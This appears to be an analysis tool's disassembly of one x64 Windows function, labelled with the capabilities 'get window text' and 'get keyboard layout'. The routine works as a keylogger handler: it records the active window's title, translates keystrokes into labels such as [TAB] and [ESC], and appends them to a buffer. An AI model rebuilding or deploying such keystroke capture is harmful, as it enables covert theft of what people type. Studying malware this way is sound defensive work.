Function at 0x140032695
Capabilities:
Get graphical window text
Get keyboard layout

Disassembly:
jmp 0x14003f040
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x2a8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, WSAStartup
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x2c8]
mov rax, qword [0x1400c1300]
xor rax, rbp
mov qword [rbp + 0x278], rax
mov byte [rbp + 0x244], 0
lea rcx, [0x1400d549e]
call fcn.1400346ca
nop
cmp dword [rbp + 0x2a0], 1
je 0x14003f0a1
cmp dword [rbp + 0x2a0], 2
jne 0x14003f0a8
xor eax, eax
jmp 0x14003f608
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
sub rax, qword [0x1400c2cd0]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0x2710
jb 0x14003f0d7
lea rdx, [0x1400a2008]
lea rcx, [0x1400c2ca8]
call fcn.140033310
nop
cmp qword [rbp + 8], 0x186a0
jb 0x14003f0f5
lea rdx, [0x1400a2048]
lea rcx, [0x1400c2ca8]
call fcn.140033310
nop
cmp qword [rbp + 8], 0x36ee80
jb 0x14003f113
lea rdx, str._n_n_n_n
lea rcx, [0x1400c2ca8]
call fcn.140033310
nop
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
je 0x14003f276
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [rbp + 0x44], eax
mov ecx, dword [rbp + 0x44]
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
mov byte [rbp + 0x244], 1
mov qword [rbp + 0x68], rax
xor r8d, r8d
mov edx, pe_nt_image_headers64
lea rcx, [rbp + 0x88]
call fcn.140032de3
nop
lea rcx, [rbp + 0x88]
call fcn.1400325b9
mov qword [rbp + 0x258], rax
xor edx, edx
lea rcx, [rbp + 0x88]
call fcn.14003238e
mov rcx, qword [rbp + 0x258]
mov r8d, ecx
mov rdx, rax
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.USER32.dll_GetWindowTextW]
mov dword [rbp + 0xc4], eax
cmp dword [rbp + 0xc4], 0
je 0x14003f269
lea rdx, [0x1400c2cd8]
lea rcx, [rbp + 0x88]
call fcn.1400347c9
movzx eax, al
test eax, eax
je 0x14003f269
lea r8, [rbp + 0x88]
lea rdx, [0x1400a20c8]
lea rcx, [rbp + 0x1c8]
call fcn.140034a5d
mov qword [rbp + 0x258], rax
mov rax, qword [rbp + 0x258]
mov qword [rbp + 0x260], rax
lea r8, [0x1400a20bc]
mov rdx, qword [rbp + 0x260]
lea rcx, [rbp + 0x208]
call fcn.1400336d5
mov qword [rbp + 0x268], rax
mov rax, qword [rbp + 0x268]
mov qword [rbp + 0x270], rax
mov rdx, qword [rbp + 0x270]
lea rcx, [0x1400c2ca8]
call fcn.1400341d9
nop
lea rcx, [rbp + 0x208]
call fcn.140034099
nop
lea rcx, [rbp + 0x1c8]
call fcn.140034099
nop
lea rdx, [rbp + 0x88]
lea rcx, [0x1400c2cd8]
call fcn.14003432d
nop
lea rcx, [rbp + 0x88]
call fcn.140034099
nop
cmp byte [rbp + 0x244], 0
jne 0x14003f28c
lea rcx, str.keyboardLayout
call fcn.140032578
nop
mov rcx, qword [rbp + 0x68]
call fcn.140033680
mov byte [rbp + 0xe4], al
movzx eax, byte [0x1400c1008]
test eax, eax
je 0x14003f2ca
mov edx, dword [rbp + 0x2a0]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
lea rdx, [0x14003213b]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
cmp dword [rbp + 0x2a0], 8
jne 0x14003f2ec
lea rdx, [0x1400a20d8]
lea rcx, [0x1400c2ca8]
call fcn.140033310
nop
jmp 0x14003f5f9
cmp dword [rbp + 0x2a0], 0xd
jne 0x14003f30e
lea rdx, [0x1400a20e8]
lea rcx, [0x1400c2ca8]
call fcn.140033310
nop
jmp 0x14003f5f9
cmp dword [rbp + 0x2a0], 0x20
jne 0x14003f330
lea rdx, [0x1400a20f8]
lea rcx, [0x1400c2ca8]
call fcn.140033310
nop
jmp 0x14003f5f9
cmp dword [rbp + 0x2a0], 9
jne 0x14003f352
lea rdx, str._TAB_
lea rcx, [0x1400c2ca8]
call fcn.140033310
nop
jmp 0x14003f5f9
cmp dword [rbp + 0x2a0], 0x10
je 0x14003f373
cmp dword [rbp + 0x2a0], 0xa0
je 0x14003f373
cmp dword [rbp + 0x2a0], 0xa1
jne 0x14003f38c
lea rdx, [0x1400a2110]
lea rcx, [0x1400c2ca8]
call fcn.140033310
nop
jmp 0x14003f5f9
cmp dword [rbp + 0x2a0], 0x11
je 0x14003f3ad
cmp dword [rbp + 0x2a0], 0xa2
je 0x14003f3ad
cmp dword [rbp + 0x2a0], 0xa3
jne 0x14003f3c6
lea rdx, [0x1400a2120]
lea rcx, [0x1400c2ca8]
call fcn.140033310
nop
jmp 0x14003f5f9
cmp dword [rbp + 0x2a0], 0x1b
jne 0x14003f3e8
lea rdx, str._ESC_
lea rcx, [0x1400c2ca8]
call fcn.140033310
nop
jmp 0x14003f5f9
cmp dword [rbp + 0x2a0], 0x12
je 0x14003f409
cmp dword [rbp + 0x2a0], 0xa5
je 0x14003f409
cmp dword [rbp + 0x2a0], 0xa4
jne 0x14003f422
lea rdx, [0x1400a2140]
lea rcx, [0x1400c2ca8]
call fcn.140033310
nop
jmp 0x14003f5f9
cmp dword [rbp + 0x2a0], 0x23
jne 0x14003f444
lea rdx, str._END_
lea rcx, [0x1400c2ca8]
call fcn.140033310
nop
jmp 0x14003f5f9
cmp dword [rbp + 0x2a0], 0x24
jne 0x14003f466
lea rdx, str._HOME_
lea rcx, [0x1400c2ca8]
call fcn.140033310
nop
jmp 0x14003f5f9
cmp dword [rbp + 0x2a0], 0x25
jne 0x14003f488
lea rdx, [0x1400a2170]
lea rcx, [0x1400c2ca8]
call fcn.140033310
nop
jmp 0x14003f5f9
cmp dword [rbp + 0x2a0], 0x27
jne 0x14003f4aa
lea rdx, [0x1400a2180]
lea rcx, [0x1400c2ca8]
call fcn.140033310
nop
jmp 0x14003f5f9
cmp dword [rbp + 0x2a0], 0x26
jne 0x14003f4cc
lea rdx, [0x1400a2190]
lea rcx, [0x1400c2ca8]
call fcn.140033310
nop
jmp 0x14003f5f9
cmp dword [rbp + 0x2a0], 0x28
jne 0x14003f4ee
lea rdx, [0x1400a21a0]
lea rcx, [0x1400c2ca8]
call fcn.140033310
nop
jmp 0x14003f5f9
cmp dword [rbp + 0x2a0], 0xbe
jne 0x14003f505
movzx eax, byte [rbp + 0xe4]
test eax, eax
je 0x14003f519
cmp dword [rbp + 0x2a0], 0x6e
jne 0x14003f532
movzx eax, byte [rbp + 0xe4]
test eax, eax
jne 0x14003f532
lea rdx, [0x1400a21ac]
lea rcx, [0x1400c2ca8]
call fcn.140033310
nop
jmp 0x14003f5f9
cmp dword [rbp + 0x2a0], 0xbd
je 0x14003f547
cmp dword [rbp + 0x2a0], 0x6d
jne 0x14003f560
lea rdx, [0x1400a21b0]
lea rcx, [0x1400c2ca8]
call fcn.140033310
nop
jmp 0x14003f5f9
cmp dword [rbp + 0x2a0], 0x14
jne 0x14003f57f
lea rdx, [0x1400a21b8]
lea rcx, [0x1400c2ca8]
call fcn.140033310
nop
jmp 0x14003f5f9
cmp byte [rbp + 0x244], 0
jne 0x14003f595
lea rcx, str.keyboardLayout
call fcn.140032578
nop
mov rdx, qword [rbp + 0x68]
mov ecx, dword [rbp + 0x2a0]
call fcn.140033603
movzx edx, ax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140032e65
lea rdx, [0x140033211]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
cmp byte [rbp + 0x244], 0
jne 0x14003f5da
lea rcx, str.keyboardLayout
call fcn.140032578
nop
mov rdx, qword [rbp + 0x68]
mov ecx, dword [rbp + 0x2a0]
call fcn.140033603
movzx edx, ax
lea rcx, [0x1400c2ca8]
call fcn.140033c75
nop
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov qword [0x1400c2cd0], rax
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x1400a14f0]
call fcn.140033fb8
mov rax, rdi
mov rcx, qword [rbp + 0x278]
xor rcx, rbp
call fcn.1400331e9
lea rsp, [rbp + 0x288]
pop rdi
pop rbp
ret